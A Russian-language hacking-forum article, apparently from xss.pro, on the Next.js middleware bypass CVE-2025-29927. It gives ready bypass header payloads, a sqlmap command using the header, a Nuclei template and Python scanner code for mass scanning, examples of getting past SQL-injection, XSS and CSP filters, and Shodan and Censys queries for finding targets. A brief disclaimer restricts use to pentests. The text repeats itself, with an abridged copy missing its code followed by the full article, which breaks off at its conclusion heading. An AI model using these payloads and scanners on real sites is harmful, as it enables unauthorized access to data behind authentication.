Автор petrinh1988
Источник https://xss.pro
Все больше проектов появляется написанных на разных фреймворках Javascript, Next.js, в свое время, взорвал рынок веб-приложений. Все очень любили и любят писать на React, но подобные приложения это генерация на стороне клиента. Что в свою очередь несет кучу проблем. Банальное SEO очень страдало, так как поисковики слегка недолюбливали подобные сайты. Даже когда топ-менеджеры Google уверяли в полной приверженности к JS-приложениям (Angular ведь тоже надо как-то популяризировать). Некст же избавил людей от этой проблемы, достаточно красиво реализуя Server Side Render. Были и другие варианты, но они требовали танцев с бубном. Собственно, поэтому Next и стал топчиком. Под топчиком я подразумеваю около 10 миллионов загрузок в неделю под данным npmjs.com
Лично меня эта уязвимость привлекла тем, что она достаточно проста и лежит на поверхности, при этом обнаружена в мощном популярном проекте.
Next.js не новичок на рынке, уже версия 15.3, но есть у него свои проблемки. В частности, CVE-2025-29927, которая охватывает собой огромное количество версий и затрагивает чуть ли не каждое второе веб-приложение на нексте. В статье постараюсь не просто описать проблему и методы атаки, а подробно разобраться что откуда и куда. Получилось или нет, судить вам.
Как это работает? Запрос прилетающий в веб-приложение, классически для Javascript, проходит через цепочку middleware-функций. Например, даже в простейшем Node+Express приложении, чтобы работать с телом запроса необходимо применить middle-функцию bodyParser, которая распарсит данные и сложит в req, сделав доступным тело запроса для дальнейших функций обработки. В некоторых случаях, цепочки могут зацикливаться. Чтобы этого не произошло, запрос помечается заголовком.
Заголовок добавляется после выполнения мидлов и привязывается к каждому мидлу отдельно. Это нужно чтобы избежать бесконечного повторного применения миддл-функции, так как оно не имеет смысла и только затягивает процесс. Сам код выглядит как-то так:
Если это не первая статья прод данную CVE, вы уже видели этот кусок кода. Это стандартный код из Next.js. Но как возникает уязвимость? Это же элементарно, хакер! Куда удобнее всего запихать процесс авторизации (проверки прав доступа)? Конечно же, в один из middleware. Выглядеть это будет примерно так:
Что произойдет? С легальным запросом все будет работать как надо. Запрос с вредоносным заголовком, заставит Некст проскочить миддл посвященный проверке прав, вызвав сразу next(). Функция просто не будет выполнена, неплевав на проверку существования токена, а тем более на проверку его правильности.
Почему? Хакер передаст в заголовке значение совпадающее с искомым middlewareInfo.name. Некст решит, что мидл уже отработал и нужно переходить дальше. Искомое значение может меняться, в зависимости от версии Next.js. Оно стандартизированно и разработчик почти не может на него влиять. По факту, оно представляет собой путь к файлу middleware.js или .ts от корня проекта. Примеры:
Другой вариант:
В первом случае, соответственно, речь идет о файле middleware лежащем в корневом каталоге, во втором в “src/”, но почему во втором примере через двоеточие значение указано пять раз? Здесь нам нужно познакомиться с переменной MAX_RECURSION_DEPTH, иначе магия работать не будет. Она указывает на максимальную глубину рекурсии. Каждое выполнение миддла, Некст следит, чтобы количество выполнений мидла было меньше установленного значения. Если больше или равно, значит рекурсия подвисла и нужно сразу переходить на next().
Возможны ли другие пути, а значит и искомые значения? Да, возможны. Например, в версиях до 12.2, файл должен был называться _middleware.js (.ts) и находиться мог на любом уровне каталога. Поэтому вполне себе оправданными могли быть заголовки типа
В теории, при кастомной сборке, разработчик также может изменить пути. Но это требует дополнительных усилий, плюс проблематично в поддержке. Подобное, скорее всего, удел мелких пет-проектов, которые мало кому интересны.
Если захотите повторить мой пример, то можно использовать эти уязвимые сорцы.
Как запустить уязвимые проекты, описано достаточно неплохо. Особо заострять внимание на них нет смысла. На примере первого, клонируем гит-репозиторий. Выполняем установку через npm и запускаем
После чего выполняем три предложенных запроса: лигитимные без авторизации, лигитимный с токеном авторизации и последний, без токена, но с вредоносным пейлоадом. Результат работы видно на скрине:
Вывод сервера:
Видно, что запрос с токеном и запрос с вредоносным пейлоадом выполнились значительно быстрее. Причем, самым быстрым был вредонос. Связываю это с тем, что Next пропустил выполнение функции авторизации.
Давайте немного посмотрим на сам проект.
Видимо, что middleware.js лежит в корне. Соответственно, заголовок должен будет содержать значение “middleware”. По итогу, мы столкнемся с необходимость повторения значения от 5 раз, чтобы пробить максимум глубины рекурсии.
Посмотрим код приложения, чтобы убедиться, что автор не оставил каких-то закладок и уязвимость отрабатывает исключительно уязвимость фреймворка:
Приложение просто выводит список постов из SQLite базы данных. В базу помещается четыре записи, одна из которых скрытая. Наша задача вывести эту запись. Архив для тестов прикладываю. Просто распакуйте, установите зависимости и запустите скрипт dev.
Скрипт фильтрации:
Как видно из кода, происходит минимальная фильтрация и, какая никакая, очистка запроса.
Для начала запущу приложение и попробую выполнить поиск с пэйлоадом без указания заголовка:
Как видно по выводу сервера, фильтр обнаружил SQL-инъекцию и обезвредил её. Соответственно, на выводе это никак не отразилось. Ну поискал пользователь и поискал. Попробую перехватить этот запрос в Burp и добавить заголовок:
Смотрим результат выполнения в браузере и вывод на сервере:
Как и ожидалось, Next отрубил миддл-функцию и выполнил запрос без каких-то проблем, показав нам тот самый скрытый пост. В реальной жизни, даже без SQL инъекции можно получить неплохой IDOR и получить неограниченный доступ к чужим данным, перепискам и т.п.
Тоже самое касается XSS, фильтрация на который тоже добавлена в систему. Сначала пробую отправить запрос без заголовков:
После отправки запроса с заголовком, посмотрим на HTML-код страницы:
При этом, сообщение не выведется из-за блокировки самим браузером. Лучше использовать “img onerror”. Хотя признаюсь, тестовое приложение и так пропустит этот тэг. Но мы же тут не про то, как сделать мощную фильтрацию, а наоборот. Главное, это увидеть работоспособность обхода функций, а дизайн логики тестового приложения это третьестепенное.
Разбирать код смысла нет, так как мы в любом случае придем к одной итоговой точке - если версия Next.js уязвима, то мы без проблем обойдем эту проблему и реализуем подгрузку нашего скрипта из нашего источника.
Как видно, отключая миддл-функции, можно добиться очень интересных результатов. Веб-приложение в один миг может стать полностью беззащитным и готовым к любым проникновениям.
Можно пойти в Shodan с запросом типа http.html:"NEXT_DATA". Также можно поискать заголовки наподобие “x-nextjs-matched-path”. Чуть ниже мы познакомимся с тем, что это за заголовок и откуда берется, сейчас важно что по нему и другим заголовкам можно найти приложения на Next.js
Остальные заголовки со скрина так же пмогут найти в Шодане большое количество целей: “x-middleware-rewrite”. “x-nextjs-cache”, “x-nextjs-prerender”, “x-nextjs-stale-time”, “X-Powered-By: Next.js”
Можно попробовать поискать в Censys. Например, так: services.http.response.body:"NEXT_DATA"
Еще неплохой вариант поиска в Censys, это установка куки NEXT_LOCALE, которая встречается в Next-приложениях. Причем, установка локали может намекать на наличие middleware отвечающего за этот процесс:
services.http.response.headers.set_cookie: "NEXT_LOCALE"
Первым делом, конечно же, убедиться что у нас уязвимая версия Next.js. Для этого часто достаточно расширения Wappalyzer. Другой вариант, это
Можно просто просканировать сайт в поисках редиректов. Например, на форму авторизации, таким образом находя закрытые разделы. Но более точным методом будет использование служебного заголовка “x-nextjs-data”. Прямого упоминания в документации Next.js я не нашел. Насколько понимаю, используется для передачи служебных данных. Чтобы понять смысл использования, запустим первое тестовое приложение (то что с токеном авторизации) и выполним два запроса:
Когда мы отправили заголовок “x-nextjs-data”, у нас появился новый заголовок “x-nextjs-matched-path”. Это один из возможных вариантов, так же могут встречаться вариации: “x-middleware-rewrite”, “x-middleware-next”, “x-middleware-redirect”. Вполне вероятно, что список на этом не заканчивается, но в целом направление куда смотреть понятно.
Эти заголовки нам явно указывают, что миддлвар живой и реализует какую-то логику. Значит мы можем попробовать нарушить её пробросив варианты “x-middleware-subrequest”. Как это можно сделать максимально эффективно? Для этого вспомним, как Next.js проверяет нужный нам заголовок - просто сплитит и ищет совпадения. Кроме того, явных стандартов на ограничение длины заголовка нет, но мне встречалась информация аж о 80 килобайтах в Next.js. 80кб это очень много, но даже 8кб не мало, а значит мы можем запихать в заголовок все возможные варианты, собрав универсальный заголовок. Например:
Пять это стандартное значение MAX_RECURSION_DEPTH. Чтобы проверить этот факт, достаточно посмотреть код файла “./node_modules/next/dist/server/web/sandbox/sandbox.js“ чтобы найти объявление константы.
Для большинства версий Next.js будет достаточно этого универсального заголовка. В версиях ниже 12.2 нужно покреативить. Сначала собрать карту интересных маршрутов, после выстроить заголовок из них. Например, для пути /secret/admin можно попробовать такие варианты заголовков:
Но мы снова говорит про байпас только авторизации. Если мы говорим, например, про поиск SQL инъекции с обходом фильтров, можно попробовать запустить SQLMAP передав ему флаг
Если вы уверены, что уязвимость есть, но она не пролазит, попробуйте по-добавлять служебные заголовки вроде “x-nextjs-data” и прочие. Вполне вероятно, что тогда Next.js сочтет запрос своим и отработает как надо.
Измнений, по сравнению с существующими шаблонами не много, по сути добавил больше заголовков идентифецирующих потенциально интересные миддл-функции. Так же добавил заголовок X-Nextjs-Data, для повышения точности. Да сократил количество атакующих запросов, уместив стандартный набор значений заголовка в одну строчку.
Результат тестирования нашего проекта с постами:
Ожидаемо, сканер нашел уязвимый путь.
Конвертируем скрипт в Python. Шаблон Nuclei хорошая штука, но скрипты на Python более гибкие. Например, если потребуется вместо передачи урла цели прикрутить загрузку списка доменов… да еще и с многопоточностью. В этой ситуации скрипт будет гораздо более полезным.
Принцип работы скрипта такой:
Полный код скрипта будет в приложенном файле. Скачайте, создайте виртуальную среду, установите beautifulsoup4. Запуск сканера осуществляется командой:
Глубина сканирования, по умолчанию, три уровня. Если нужно изменить, передайте в параметр –depth
Приведу в пример некоторые куски кода. В первую очередь, проверку веб-приложения на отношение к Next.js. Взял минимальный набор признаков, но мне кажется вполне достаточный чтобы с уверенностью говорить о “правильном” фреймворке.
Парсинг потенциальных ендпоинтов для тестов происходит, как через работу с тэгами, так и через регулярное выражение. При необходимости, вариант расширяемый, можно добавить больше тэгов:
Тестовый запрос выполняется, точно так как говорили, с указанием заголовка:
В ответе мы ищем следы работы миддл-функции, либо сигнал о необходимости авторизоваться. Согласен, сомнительно и можно значительно расширить количество вариантов.
Ну и последнее, атакующий запрос:
Опять же, простая проверка по коду ответа не всегда дает 100% картинку. По хорошему, нужно сравнивать два ответа: ответ без обхода миддла и ответ с обходом. При наличии разницы, сообщать пользователю о необходимости присмотреться. Хотя, конечно же, если мы столкнемся с динамически генерируемым выводом, плакали все наши автоматические тесты.
В статье, я надеюсь, довольно неплохо рассмотрел уязвимость и вытекающие последствия. Рассказал о целом ряде интересных заголовков, Мы попробовали поработать с несколькими специально созданными проектами. Один накидали сами, один рассмотрели в теории.
Мне кажется, что статья исчерпывающая и не должна оставить каких-то вопросов, кроме обсуждения вариантов применения. А вы как считаете? Если в начале чтения было непонятно о чем речь и как работает, а в конце есть ощущение что все просто и легко, значит цель достигнута)
P.S.
В прикрепленном архиве лежат:
1. Уязвимое веб-приложение
2. Шаблон Nuclei
3. Скрипт Python
Источник https://xss.pro
Все больше проектов появляется написанных на разных фреймворках Javascript, Next.js, в свое время, взорвал рынок веб-приложений. Все очень любили и любят писать на React, но подобные приложения это генерация на стороне клиента. Что в свою очередь несет кучу проблем. Банальное SEO очень страдало, так как поисковики слегка недолюбливали подобные сайты. Даже когда топ-менеджеры Google уверяли в полной приверженности к JS-приложениям (Angular ведь тоже надо как-то популяризировать). Некст же избавил людей от этой проблемы, достаточно красиво реализуя Server Side Render. Были и другие варианты, но они требовали танцев с бубном. Собственно, поэтому Next и стал топчиком. Под топчиком я подразумеваю около 10 миллионов загрузок в неделю под данным npmjs.com
Лично меня эта уязвимость привлекла тем, что она достаточно проста и лежит на поверхности, при этом обнаружена в мощном популярном проекте.
Next.js не новичок на рынке, уже версия 15.3, но есть у него свои проблемки. В частности, CVE-2025-29927, которая охватывает собой огромное количество версий и затрагивает чуть ли не каждое второе веб-приложение на нексте. В статье постараюсь не просто описать проблему и методы атаки, а подробно разобраться что откуда и куда. Получилось или нет, судить вам.
Опасный заголовок
Уязвимость базируется на хедере “X-Middleware-Subrequest”, который использует Next.js в своей инфраструктуре. Фактически, это служебный заголовок, который Next.js автоматически добавляет к внутренним запросам. Под внутренними запросами подразумеваются запросы выполняемые самим фреймворком, а не инициированные внешними запросами. Кроме того, данные заголовок используется для избежания бесконечной рекурсии внутри движка.Как это работает? Запрос прилетающий в веб-приложение, классически для Javascript, проходит через цепочку middleware-функций. Например, даже в простейшем Node+Express приложении, чтобы работать с телом запроса необходимо применить middle-функцию bodyParser, которая распарсит данные и сложит в req, сделав доступным тело запроса для дальнейших функций обработки. В некоторых случаях, цепочки могут зацикливаться. Чтобы этого не произошло, запрос помечается заголовком.
Заголовок добавляется после выполнения мидлов и привязывается к каждому мидлу отдельно. Это нужно чтобы избежать бесконечного повторного применения миддл-функции, так как оно не имеет смысла и только затягивает процесс. Сам код выглядит как-то так:
JavaScript:
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
Если это не первая статья прод данную CVE, вы уже видели этот кусок кода. Это стандартный код из Next.js. Но как возникает уязвимость? Это же элементарно, хакер! Куда удобнее всего запихать процесс авторизации (проверки прав доступа)? Конечно же, в один из middleware. Выглядеть это будет примерно так:
JavaScript:
const tokenAuthMiddleware = (req, res, next) => {
const authHeader = req.headers.authorization;
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).send("Token is empty");
}
jwt.verify(token, 'SECRET_KEY', (err, user) => {
if (err) {
return res.status(403).send("Bad token");
}
req.user = user;
next();
});
};
Что произойдет? С легальным запросом все будет работать как надо. Запрос с вредоносным заголовком, заставит Некст проскочить миддл посвященный проверке прав, вызвав сразу next(). Функция просто не будет выполнена, неплевав на проверку существования токена, а тем более на проверку его правильности.
Почему? Хакер передаст в заголовке значение совпадающее с искомым middlewareInfo.name. Некст решит, что мидл уже отработал и нужно переходить дальше. Искомое значение может меняться, в зависимости от версии Next.js. Оно стандартизированно и разработчик почти не может на него влиять. По факту, оно представляет собой путь к файлу middleware.js или .ts от корня проекта. Примеры:
Код:
GET /admin/ HTTP/1.1
x-middleware-subrequest: middleware
Другой вариант:
Код:
GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware.
В первом случае, соответственно, речь идет о файле middleware лежащем в корневом каталоге, во втором в “src/”, но почему во втором примере через двоеточие значение указано пять раз? Здесь нам нужно познакомиться с переменной MAX_RECURSION_DEPTH, иначе магия работать не будет. Она указывает на максимальную глубину рекурсии. Каждое выполнение миддла, Некст следит, чтобы количество выполнений мидла было меньше установленного значения. Если больше или равно, значит рекурсия подвисла и нужно сразу переходить на next().
Возможны ли другие пути, а значит и искомые значения? Да, возможны. Например, в версиях до 12.2, файл должен был называться _middleware.js (.ts) и находиться мог на любом уровне каталога. Поэтому вполне себе оправданными могли быть заголовки типа
Код:
pages/secret/admin/panel/_middleware
В теории, при кастомной сборке, разработчик также может изменить пути. Но это требует дополнительных усилий, плюс проблематично в поддержке. Подобное, скорее всего, удел мелких пет-проектов, которые мало кому интересны.
Практика
Важный момент в том, что команда разработки пофиксила ошибку, в том числе обновив старые релизы. Чтобы поиграться с уязвимостью, можно использовать две уязвимых машины: vulnerable-nextjs-14-CVE-2025-29927 и проект от ricsirigu.Если захотите повторить мой пример, то можно использовать эти уязвимые сорцы.
Как запустить уязвимые проекты, описано достаточно неплохо. Особо заострять внимание на них нет смысла. На примере первого, клонируем гит-репозиторий. Выполняем установку через npm и запускаем
Код:
npm run dev
После чего выполняем три предложенных запроса: лигитимные без авторизации, лигитимный с токеном авторизации и последний, без токена, но с вредоносным пейлоадом. Результат работы видно на скрине:
Вывод сервера:
Видно, что запрос с токеном и запрос с вредоносным пейлоадом выполнились значительно быстрее. Причем, самым быстрым был вредонос. Связываю это с тем, что Next пропустил выполнение функции авторизации.
Давайте немного посмотрим на сам проект.
Видимо, что middleware.js лежит в корне. Соответственно, заголовок должен будет содержать значение “middleware”. По итогу, мы столкнемся с необходимость повторения значения от 5 раз, чтобы пробить максимум глубины рекурсии.
Посмотрим код приложения, чтобы убедиться, что автор не оставил каких-то закладок и уязвимость отрабатывает исключительно уязвимость фреймворка:
Обход фильтрации
Разработчики, стараясь защитить свои приложения могут использовать middleware для фильтрации ввода. Соответственно, уязвимость CVE-2025-29927 может помочь обойти эту фильтрацию. Это касается любых инъекций против которых поработал программист. Для примера, попросил великий разум накидать мне простенькое тестовое приложение. В приложении нет никаких закладок, которые помогали бы в реализации демонстрации. Ну разве что обращение к базе происходит без подстановок, а прямым запросом. Фильтрация простенькая, но присутствует. Как минимум, фильтр должен отработать на “OR”.Приложение просто выводит список постов из SQLite базы данных. В базу помещается четыре записи, одна из которых скрытая. Наша задача вывести эту запись. Архив для тестов прикладываю. Просто распакуйте, установите зависимости и запустите скрипт dev.
Скрипт фильтрации:
JavaScript:
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
if (request.nextUrl.pathname.startsWith('/api/posts')) {
const searchParams = request.nextUrl.searchParams;
const query = searchParams.get('q');
if (query) {
const sqlKeywords = [
'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'DROP',
'UNION', 'EXEC', 'ALTER', 'CREATE', 'TRUNCATE',
'--', ';', '/*', '*/', 'xp_', '1=1', 'OR'
];
const xssPatterns = [
/<script.*?>.*?<\/script>/i,
/img.*?/i,
/on\w+=\s*["'][^"']*["']/i,
/javascript:\s*[^"']*/i,
/<\/?\w+.*?>/i
];
const sqlInjectionDetected = sqlKeywords.some(keyword =>
query.toUpperCase().includes(keyword.toUpperCase())
);
const xssDetected = xssPatterns.some(pattern =>
pattern.test(query)
);
if (sqlInjectionDetected || xssDetected) {
console.warn('Попытка атаки обнаружена:', {
url: request.url,
ip: request.ip || request.headers.get('x-forwarded-for'),
userAgent: request.headers.get('user-agent'),
attackType: sqlInjectionDetected ? 'SQL Injection' : 'XSS',
maliciousInput: query
});
return new NextResponse('Недопустимый запрос', {
status: 400,
headers: {
'X-Security-Alert': 'true'
}
});
}
const cleanedQuery = query.replace(/[^\w\sа-яА-ЯёЁ-]/gi, '').trim();
if (cleanedQuery !== query) {
const newUrl = request.nextUrl.clone();
newUrl.searchParams.set('q', cleanedQuery);
return NextResponse.redirect(newUrl);
}
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/api/posts', '/posts'],
};
Как видно из кода, происходит минимальная фильтрация и, какая никакая, очистка запроса.
Для начала запущу приложение и попробую выполнить поиск с пэйлоадом без указания заголовка:
Как видно по выводу сервера, фильтр обнаружил SQL-инъекцию и обезвредил её. Соответственно, на выводе это никак не отразилось. Ну поискал пользователь и поискал. Попробую перехватить этот запрос в Burp и добавить заголовок:
Смотрим результат выполнения в браузере и вывод на сервере:
Как и ожидалось, Next отрубил миддл-функцию и выполнил запрос без каких-то проблем, показав нам тот самый скрытый пост. В реальной жизни, даже без SQL инъекции можно получить неплохой IDOR и получить неограниченный доступ к чужим данным, перепискам и т.п.
Тоже самое касается XSS, фильтрация на который тоже добавлена в систему. Сначала пробую отправить запрос без заголовков:
После отправки запроса с заголовком, посмотрим на HTML-код страницы:
При этом, сообщение не выведется из-за блокировки самим браузером. Лучше использовать “img onerror”. Хотя признаюсь, тестовое приложение и так пропустит этот тэг. Но мы же тут не про то, как сделать мощную фильтрацию, а наоборот. Главное, это увидеть работоспособность обхода функций, а дизайн логики тестового приложения это третьестепенное.
Обход CSP
Content Security Policy может доставить серьезные неудобства пентестеру, блокируя возможности организовать интересную XSS-атаку. Но в приложениях Next.js, часто можно встретить ошибки в дизайне приложения. Многие разработчики хотят на выходе получить универсальный швейцарский нож, делая кучу элементов динамическими и размещая их в Middleware. Вот пример статьи, где предлагается организация динамического CSP с хранением в базе данных.
Разбирать код смысла нет, так как мы в любом случае придем к одной итоговой точке - если версия Next.js уязвима, то мы без проблем обойдем эту проблему и реализуем подгрузку нашего скрипта из нашего источника.
Как видно, отключая миддл-функции, можно добиться очень интересных результатов. Веб-приложение в один миг может стать полностью беззащитным и готовым к любым проникновениям.
Как тестировать?
Во-первых, конечно же, информация в статье не для использования с целью нарушения закона. Используйте знания для белого пентеста и багбаунти. Автор не несет ответственности, если кто-то решит встать на темную сторону. Вы либо работает с сайтом заказчика, либо по официальной баг-баунти программе. Если нашли потенциальный трагет, предварительно свяжитесь и договоритесь с владельцем о тестировании.Поиск таргетов
Начнем с поиска таргетов для белого тестирования? Самый простой вариант, это Google дорк “inurl:/_next/”. Да, будет куча мусора, нужно будет уточняться и подумать, но вполне рабочий вариант поискать веб-приложения на Next.js.Можно пойти в Shodan с запросом типа http.html:"NEXT_DATA". Также можно поискать заголовки наподобие “x-nextjs-matched-path”. Чуть ниже мы познакомимся с тем, что это за заголовок и откуда берется, сейчас важно что по нему и другим заголовкам можно найти приложения на Next.js
Остальные заголовки со скрина так же пмогут найти в Шодане большое количество целей: “x-middleware-rewrite”. “x-nextjs-cache”, “x-nextjs-prerender”, “x-nextjs-stale-time”, “X-Powered-By: Next.js”
Можно попробовать поискать в Censys. Например, так: services.http.response.body:"NEXT_DATA"
Еще неплохой вариант поиска в Censys, это установка куки NEXT_LOCALE, которая встречается в Next-приложениях. Причем, установка локали может намекать на наличие middleware отвечающего за этот процесс:
services.http.response.headers.set_cookie: "NEXT_LOCALE"
Тестирование
Хорошо, приложения нашли, дальше что? То что приложение написано на Nex.js не говорит об его уязвимости. Вполне может быть, что в целом миддлвары не жизнеспособные. Неплохо бы выполнить проверку.Первым делом, конечно же, убедиться что у нас уязвимая версия Next.js. Для этого часто достаточно расширения Wappalyzer. Другой вариант, это
Можно просто просканировать сайт в поисках редиректов. Например, на форму авторизации, таким образом находя закрытые разделы. Но более точным методом будет использование служебного заголовка “x-nextjs-data”. Прямого упоминания в документации Next.js я не нашел. Насколько понимаю, используется для передачи служебных данных. Чтобы понять смысл использования, запустим первое тестовое приложение (то что с токеном авторизации) и выполним два запроса:
Когда мы отправили заголовок “x-nextjs-data”, у нас появился новый заголовок “x-nextjs-matched-path”. Это один из возможных вариантов, так же могут встречаться вариации: “x-middleware-rewrite”, “x-middleware-next”, “x-middleware-redirect”. Вполне вероятно, что список на этом не заканчивается, но в целом направление куда смотреть понятно.
Эти заголовки нам явно указывают, что миддлвар живой и реализует какую-то логику. Значит мы можем попробовать нарушить её пробросив варианты “x-middleware-subrequest”. Как это можно сделать максимально эффективно? Для этого вспомним, как Next.js проверяет нужный нам заголовок - просто сплитит и ищет совпадения. Кроме того, явных стандартов на ограничение длины заголовка нет, но мне встречалась информация аж о 80 килобайтах в Next.js. 80кб это очень много, но даже 8кб не мало, а значит мы можем запихать в заголовок все возможные варианты, собрав универсальный заголовок. Например:
Код:
X-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Пять это стандартное значение MAX_RECURSION_DEPTH. Чтобы проверить этот факт, достаточно посмотреть код файла “./node_modules/next/dist/server/web/sandbox/sandbox.js“ чтобы найти объявление константы.
Для большинства версий Next.js будет достаточно этого универсального заголовка. В версиях ниже 12.2 нужно покреативить. Сначала собрать карту интересных маршрутов, после выстроить заголовок из них. Например, для пути /secret/admin можно попробовать такие варианты заголовков:
Код:
x-middleware-subrequest: pages/dashboard/panel/_middleware
Код:
x-middleware-subrequest: pages/dashboard/_middleware
Код:
x-middleware-subrequest: pages/_middleware
Но мы снова говорит про байпас только авторизации. Если мы говорим, например, про поиск SQL инъекции с обходом фильтров, можно попробовать запустить SQLMAP передав ему флаг
Bash:
sqlmap -u https://target.com -H ‘x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware’
Если вы уверены, что уязвимость есть, но она не пролазит, попробуйте по-добавлять служебные заголовки вроде “x-nextjs-data” и прочие. Вполне вероятно, что тогда Next.js сочтет запрос своим и отработает как надо.
Автоматизация тестирования
Соберем все вышесказанное в программный код, чтобы были более менее полноценные инструменты для работы. Начнем с Nuclei. В сети есть готовые шаблоны, я не стал сильно заморачиваться и просто слегка переработал несколько из них, приведя к устраивающему меня варианту:
YAML:
id: CVE-2025-29927
info:
name: Next.js Middleware Bypass Attack
author: petrinh1988 and co
severity: critical
description: |
A critical security vulnerability has been discovered in Next.js versions 11.1.4 through 15.2.2.
This flaw enables adversaries to circumvent established middleware protections by transmitting
a deliberately crafted x-middleware-subrequest header. Consequently, the system's security controls
are rendered ineffective, thereby exposing the platform to the risk of unauthorized access
and additional security breaches.
reference:
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
remediation: |
Recommended Fix: Upgrade to a patched version of Next.js (14.2.25 / 15.2.3 or later)
f immediate upgrading is not feasible, implement a rule in your WAF or
server configuration to block all requests containing the x-middleware-subrequest header.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cwe-id: CWE-287
metadata:
verified: true
vendor: vercel
product: next.js
framework: node.js
max-request: 1
shodan-query:
- http.html:"/_next/static"
- x-powered-by: next.js
- x-nextjs-cache:
- cpe:"cpe:2.3:a:zeit:next.js"
- x-middleware-rewrite
fofa-query: x-middleware-rewrite
tags: cve,cve2025,nextjs,middleware,auth-bypass
flow: |
http(1)
for(let endpoint_urls of iterate(template.endpoints)){
set("endpoints", endpoint_urls)
http(2) && http(3)
}
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: body
words:
- "_next/static"
# internal: true
- type: word
part: header
words:
- "Next.js"
# internal: true
extractors:
- type: regex
name: endpoints
part: body
group: 1
regex:
- "href=['\"](\\/[^\\.\"']+)['\"]"
# internal: true
- method: GET
path:
- "{{BaseURL}}{{endpoints}}"
headers:
X-Nextjs-Data: 1
matchers:
- type: dsl
dsl:
- contains_any(to_lower(header), 'x-nextjs-matched-path', 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
- contains_any(to_lower(location), 'unauthorized') && status_code != 200
# internal: true
- method: GET
path:
- "{{BaseURL}}{{endpoints}}"
headers:
X-Middleware-Subrequest: "{{nextjs_bypass}}"
payloads:
nextjs_bypass:
- "middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
matchers:
- type: dsl
dsl:
- status_code == 200
Измнений, по сравнению с существующими шаблонами не много, по сути добавил больше заголовков идентифецирующих потенциально интересные миддл-функции. Так же добавил заголовок X-Nextjs-Data, для повышения точности. Да сократил количество атакующих запросов, уместив стандартный набор значений заголовка в одну строчку.
Результат тестирования нашего проекта с постами:
Ожидаемо, сканер нашел уязвимый путь.
Конвертируем скрипт в Python. Шаблон Nuclei хорошая штука, но скрипты на Python более гибкие. Например, если потребуется вместо передачи урла цели прикрутить загрузку списка доменов… да еще и с многопоточностью. В этой ситуации скрипт будет гораздо более полезным.
Принцип работы скрипта такой:
- Убедиться, что мы имеем дело с Nuclei
- Составить список потенциальных точек инъекции - рекурсивное сканирование с погружением на указанную глубину
- Тестовый запрос, чтобы убедиться что миддл-функции живы и могут быть полезны нам
- Атакующий запрос.
Полный код скрипта будет в приложенном файле. Скачайте, создайте виртуальную среду, установите beautifulsoup4. Запуск сканера осуществляется командой:
Bash:
python3 CVE-2025-29927.py http://localhost:3000
Глубина сканирования, по умолчанию, три уровня. Если нужно изменить, передайте в параметр –depth
Приведу в пример некоторые куски кода. В первую очередь, проверку веб-приложения на отношение к Next.js. Взял минимальный набор признаков, но мне кажется вполне достаточный чтобы с уверенностью говорить о “правильном” фреймворке.
Python:
is_nextjs = False
if '__NEXT_DATA__' in response.text:
is_nextjs = True
if '_next/static' in response.text:
is_nextjs = True
if 'Next.js' in response.headers.get('x-powered-by', ''):
is_nextjs = True
Парсинг потенциальных ендпоинтов для тестов происходит, как через работу с тэгами, так и через регулярное выражение. При необходимости, вариант расширяемый, можно добавить больше тэгов:
Python:
endpoints = set()
for tag in soup.find_all(['a']):
attr = 'href'
if attr in tag.attrs:
url = tag[attr]
if url.startswith('/') and not url.startswith('//') and not url.startswith('/.'):
endpoints.add(url)
regex_matches = re.findall(r'href=[\'"](/[^\."\']+)[\'"]', response.text)
endpoints.update(regex_matches)
Тестовый запрос выполняется, точно так как говорили, с указанием заголовка:
Python:
response = session.get(url, headers={'X-Nextjs-Data': '1'})
headers = {k.lower(): v for k, v in response.headers.items()}
vulnerable = False
if any(h in headers for h in ['x-nextjs-matched-path', 'x-middleware-rewrite',
'x-middleware-next', 'x-middleware-redirect']):
print(f"[+] Потенциально уязвимый endpoint обнаружен")
vulnerable = True
if 'location' in headers and 'unauthorized' in headers['location'].lower():
if response.status_code != 200:
print(f"[+] Потенциально уязвимый endpoint обнаружен (редирект на unauthorized)")
vulnerable = True
if not vulnerable:
return False
В ответе мы ищем следы работы миддл-функции, либо сигнал о необходимости авторизоваться. Согласен, сомнительно и можно значительно расширить количество вариантов.
Ну и последнее, атакующий запрос:
Python:
bypass_payloads = [
"middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
]
for payload in bypass_payloads:
attack_response = session.get(url, headers={'X-Middleware-Subrequest': payload})
if attack_response.status_code == 200:
print(f"[+] Уязвимость подтверждена! Успешный bypass с payload: {payload}")
print(f" Статус код: {attack_response.status_code}")
return True
Опять же, простая проверка по коду ответа не всегда дает 100% картинку. По хорошему, нужно сравнивать два ответа: ответ без обхода миддла и ответ с обходом. При наличии разницы, сообщать пользователю о необходимости присмотреться. Хотя, конечно же, если мы столкнемся с динамически генерируемым выводом, плакали все наши автоматические тесты.
Выводы
